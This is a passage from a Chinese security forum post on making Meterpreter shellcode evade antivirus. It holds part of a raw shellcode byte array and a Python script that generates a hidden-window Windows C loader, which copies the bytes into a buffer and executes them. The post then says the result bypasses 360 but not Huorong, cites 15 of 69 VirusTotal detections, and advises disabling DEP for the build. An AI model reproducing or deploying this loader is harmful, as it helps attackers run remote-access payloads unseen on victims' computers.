  22. "\xd8\x2d\xe0\xe9\x8e\xfe\x2d\xab\x66\x14\x60\x60\x34\x2e\xf0"
  23. "\x48\x42\x57\xf9\x3c\xe2\xb6\xaa\x77\x48\xb3\x27\xe4\x0d\x85"
  24. "\xd1\x40\x55\x73\xa9\x15\xd2\x9c\x1e\xf9\x54\xb1\xa2\xde\x9a"
  25. "\x1b\x96\x3c\x54\x83\x35\xc0\x66\x23\xbe\x65\x47\x5b\x70\xf5"
  26. "\x95\xfe\xa9\x03\xb4\x2d\xe9\x78\x42\x7e\x24\x78\x13\xbe\x0b"
  27. "\x23\xf9\xbf\x9f\x72\xc1\xb7\x87\xd4\x66\x72\xa9\x65\x39\x47"
  28. "\x1c\xec\x4e\x11\xa8\xb6\xc7\x18\x4f\x92\x1e\xfb\xbb\xc6\x2d"
  29. "\x4c\x91\x83\x47\xe9\x8b\x9f\x80\xb1\xc8\x7a\xdc\x21\x0c\x34"
  30. "\x76\x1b\xfa\xf3\x15\xc6\x0d\xa3\x74\x7d\x9d\xc3\xa3\x31\xbd"
  31. "\x47\xf0\x9b\xc3\xd6\x7e\xec\x17\x62\x7c\x52\xeb\xc9\xdb\xaf"
  32. "\xe7\xf8\x31\x2e\x79\xdd\xb0\x6e\x65\x96\x8f\x3c\x21\x89\xb8"
  33. "\x02\x39\x46\xf5\xb8\x8e\x49\x14\x48\xb2\x71\xcc\xdf\x61\x45"
  34. "\xa2\x9c\x8c\x23\x06\xe4\xf2\x91\x47\x4a\x81\xbd\x7c\xaa\x89"
  35. "\xa0\xf5\x0a\x4d\xc1\x96\x30\x33\x71\x24\x80";
  36. """
  37. regx = re.compile(r"\\x\w\w")
  38. arr = re.findall(regx,raw)
  39. for i in range(0,len(arr)):
  40.     arr[i] = arr[i].replace("\","0")
  41. data = """
  42. #include <windows.h>
  43. #pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
  44. void test()
  45. {
  46.     unsigned char buf[333];

  47. """
  48. data = data + "    "
  49. print(len(arr))
  50. for i in range(len(arr)):
  51.     data = data + "buf["+ str(i) +"] = " + arr[i] + "^ 0x5f ^ 0x5f;"
  52.     if(i%100 == 0):
  53.         data = data + "\r\n    "

  54. data = data + """
  55.     ((void(*)(void))&buf)();
  56. }
  57. int main(int argc, char* argv[])
  58. {
  59.     test();
  60.     return 0;
  61. }
  62. """
  63. f = open("shellcode.txt","w")
  64. f.write(data)
复制代码
gcc编译后,执行,可过360,不能过火绒。
编译的时候需要:
  1. 1、关闭DEP(链接器-高级-DEP)
  2. 2、对项目禁止优化(右击项目-c/c++-优化)。
复制代码
virustotal.com中15/69个报毒
三、参考资料

Meterpreter免杀总结:https://carlstar.club/2019/01/04/dig/
shellcode加载总结:https://uknowsec.cn/posts/notes/ ... 80%BB%E7%BB%93.html
浅谈meterpreter免杀:https://www.jianshu.com/p/9d2790f6c8aa





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 12:13 , Processed in 0.029086 second(s), 16 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表